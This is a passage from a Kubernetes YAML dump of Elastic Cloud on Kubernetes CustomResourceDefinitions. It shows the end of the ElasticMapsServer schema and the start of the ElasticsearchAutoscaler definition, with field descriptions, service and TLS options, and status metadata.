          description: ElasticMapsServer represents an Elastic Map Server resource
            in a Kubernetes cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: MapsSpec holds the specification of an Elastic Maps Server
                instance.
              properties:
                config:
                  description: 'Config holds the ElasticMapsServer configuration.
                    See: https://www.elastic.co/guide/en/kibana/current/maps-connect-to-ems.html#elastic-maps-server-configuration'
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                configRef:
                  description: |-
                    ConfigRef contains a reference to an existing Kubernetes Secret holding the Elastic Maps Server configuration.
                    Configuration settings are merged and have precedence over settings specified in `config`.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                count:
                  description: Count of Elastic Maps Server instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to an Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for Elastic
                    Maps Server.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Elastic Maps Server Docker image to deploy.
                  type: string
                podTemplate:
                  description: PodTemplate provides customisation options (labels,
                    annotations, affinity rules, resource requests, and so on) for
                    the Elastic Maps Server pods
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying Deployment.
                  format: int32
                  type: integer
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                version:
                  description: Version of Elastic Maps Server.
                  type: string
              required:
              - version
              type: object
            status:
              description: MapsStatus defines the observed state of Elastic Maps Server
              properties:
                associationStatus:
                  description: AssociationStatus is the status of an association resource.
                  type: string
                availableNodes:
                  description: AvailableNodes is the number of available replicas
                    in the deployment.
                  format: int32
                  type: integer
                count:
                  description: Count corresponds to Scale.Status.Replicas, which is
                    the actual number of observed instances of the scaled object.
                  format: int32
                  type: integer
                health:
                  description: Health of the deployment.
                  type: string
                observedGeneration:
                  description: |-
                    ObservedGeneration is the most recent generation observed for this Elastic Maps Server.
                    It corresponds to the metadata generation, which is updated on mutation by the API Server.
                    If the generation observed in status diverges from the generation in metadata, the Elastic
                    Maps controller has not yet processed the changes contained in the Elastic Maps specification.
                  format: int64
                  type: integer
                selector:
                  description: Selector is the label selector used to find all pods.
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        scale:
          labelSelectorPath: .status.selector
          specReplicasPath: .spec.count
          statusReplicasPath: .status.count
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: ElasticMapsServer
      listKind: ElasticMapsServerList
      plural: elasticmapsservers
      shortNames:
      - ems
      singular: elasticmapsserver
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:00Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:00Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"elasticsearchautoscalers.autoscaling.k8s.elastic.co"},"spec":{"group":"autoscaling.k8s.elastic.co","names":{"categories":["elastic"],"kind":"ElasticsearchAutoscaler","listKind":"ElasticsearchAutoscalerList","plural":"elasticsearchautoscalers","shortNames":["esa"],"singular":"elasticsearchautoscaler"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".spec.elasticsearchRef.name","name":"Target","type":"string"},{"jsonPath":".status.conditions[?(@.type=='Active')].status","name":"Active","type":"string"},{"jsonPath":".status.conditions[?(@.type=='Healthy')].status","name":"Healthy","type":"string"},{"jsonPath":".status.conditions[?(@.type=='Limited')].status","name":"Limited","type":"string"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"ElasticsearchAutoscaler represents an ElasticsearchAutoscaler resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"ElasticsearchAutoscalerSpec holds the specification of an Elasticsearch autoscaler resource.","properties":{"elasticsearchRef":{"description":"ElasticsearchRef is a reference to an Elasticsearch cluster that exists in the same namespace.","properties":{"name":{"description":"Name is the name of the Elasticsearch resource to scale automatically.","minLength":1,"type":"string"}},"type":"object"},"policies":{"items":{"description":"AutoscalingPolicySpec holds a named autoscaling policy and the associated resources limits (cpu, memory, storage).","properties":{"deciders":{"additionalProperties":{"additionalProperties":{"type":"string"},"description":"DeciderSettings allow the user to tweak autoscaling deciders.\nThe map data structure complies with the \u003ckey,value\u003e format expected by Elasticsearch.","type":"object"},"description":"Deciders allow the user to override default settings for autoscaling deciders.","type":"object"},"name":{"description":"Name identifies the autoscaling policy in the autoscaling specification.","type":"string"},"resources":{"description":"AutoscalingResources model the limits, submitted by the user, for the supported resources in an autoscaling policy.\nOnly the node count range is mandatory. For other resources, a limit range is required only\nif the Elasticsearch autoscaling capacity API returns a requirement for a given resource.\nFor example, the memory limit range is only required if the autoscaling API response contains a memory requirement.\nIf there is no limit range for a resource, and if that resource is not mandatory, then the resources in the NodeSets\nmanaged by the autoscaling policy are left untouched.","properties":{"cpu":{"description":"QuantityRange models a resource limit range for resources which can be expressed with resource.Quantity.","properties":{"max":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Max represents the upper limit for the resources managed by the autoscaler.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"min":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Min represents the lower limit for the resources managed by the autoscaler.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"requestsToLimitsRatio":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"RequestsToLimitsRatio allows to customize Kubernetes resource Limit based on the Request.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true}},"required":["max","min"],"type":"object"},"memory":{"description":"QuantityRange models a resource limit range for resources which can be expressed with resource.Quantity.","properties":{"max":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Max represents the upper limit for the resources managed by the autoscaler.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"min":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Min represents the lower limit for the resources managed by the autoscaler.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"requestsToLimitsRatio":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"RequestsToLimitsRatio allows to customize Kubernetes resource Limit based on the Request.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true}},"required":["max","min"],"type":"object"},"nodeCount":{"description":"NodeCountRange is used to model the minimum and the maximum number of nodes over all the NodeSets managed by the same autoscaling policy.","properties":{"max":{"description":"Max represents the maximum number of nodes in a tier.","format":"int32","type":"integer"},"min":{"description":"Min represents the minimum number of nodes in a tier.","format":"int32","type":"integer"}},"required":["max","min"],"type":"object"},"storage":{"description":"QuantityRange models a resource limit range for resources which can be expressed with resource.Quantity.","properties":{"max":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Max represents the upper limit for the resources managed by the autoscaler.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"min":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Min represents the lower limit for the resources managed by the autoscaler.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"requestsToLimitsRatio":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"RequestsToLimitsRatio allows to customize Kubernetes resource Limit based on the Request.","pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true}},"required":["max","min"],"type":"object"}},"required":["nodeCount"],"type":"object"},"roles":{"description":"An autoscaling policy must target a unique set of roles.","items":{"type":"string"},"type":"array"}},"required":["resources"],"type":"object"},"type":"array"},"pollingPeriod":{"description":"PollingPeriod is the period at which to synchronize with the Elasticsearch autoscaling API.","type":"string"}},"required":["policies"],"type":"object"},"status":{"properties":{"conditions":{"description":"Conditions holds the current service state of the autoscaling controller.","items":{"description":"Condition represents Elasticsearch resource's condition.\n**This API is in technical preview and may be changed or removed in a future release.**","properties":{"lastTransitionTime":{"format":"date-time","type":"string"},"message":{"type":"string"},"status":{"type":"string"},"type":{"description":"ConditionType defines the condition of an Elasticsearch resource.","type":"string"}},"required":["status","type"],"type":"object"},"type":"array"},"observedGeneration":{"description":"ObservedGeneration is the last observed generation by the controller.","format":"int64","type":"integer"},"policies":{"description":"AutoscalingPolicyStatuses is used to expose state messages to user or external system.","items":{"properties":{"lastModificationTime":{"description":"LastModificationTime is the last time the resources have been updated, used by the cooldown algorithm.","format":"date-time","type":"string"},"name":{"description":"Name is the name of the autoscaling policy","type":"string"},"nodeSets":{"description":"NodeSetNodeCount holds the number of nodes for each nodeSet.","items":{"description":"NodeSetNodeCount models the number of nodes expected in a given NodeSet.","properties":{"name":{"description":"Name of the Nodeset.","type":"string"},"nodeCount":{"description":"NodeCount is the number of nodes, as computed by the autoscaler, expected in this NodeSet.","format":"int32","type":"integer"}},"required":["name","nodeCount"],"type":"object"},"type":"array"},"resources":{"description":"ResourcesSpecification holds the resource values common to all the nodeSets managed by a same autoscaling policy.\nOnly the resources managed by the autoscaling controller are saved in the Status.","properties":{"limits":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"ResourceList is a set of (resource name, quantity) pairs.","type":"object"},"requests":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"ResourceList is a set of (resource name, quantity) pairs.","type":"object"}},"type":"object"},"state":{"description":"PolicyStates may contain various messages regarding the current state of this autoscaling policy.","items":{"properties":{"messages":{"items":{"type":"string"},"type":"array"},"type":{"type":"string"}},"required":["messages","type"],"type":"object"},"type":"array"}},"required":["name"],"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:56:00Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: elasticsearchautoscalers.autoscaling.k8s.elastic.co
    resourceVersion: "432339"
    uid: 4cb04a0c-e5ea-465e-a603-fddee4d1cf70
  spec:
    conversion:
      strategy: None
    group: autoscaling.k8s.elastic.co
    names:
      categories:
      - elastic
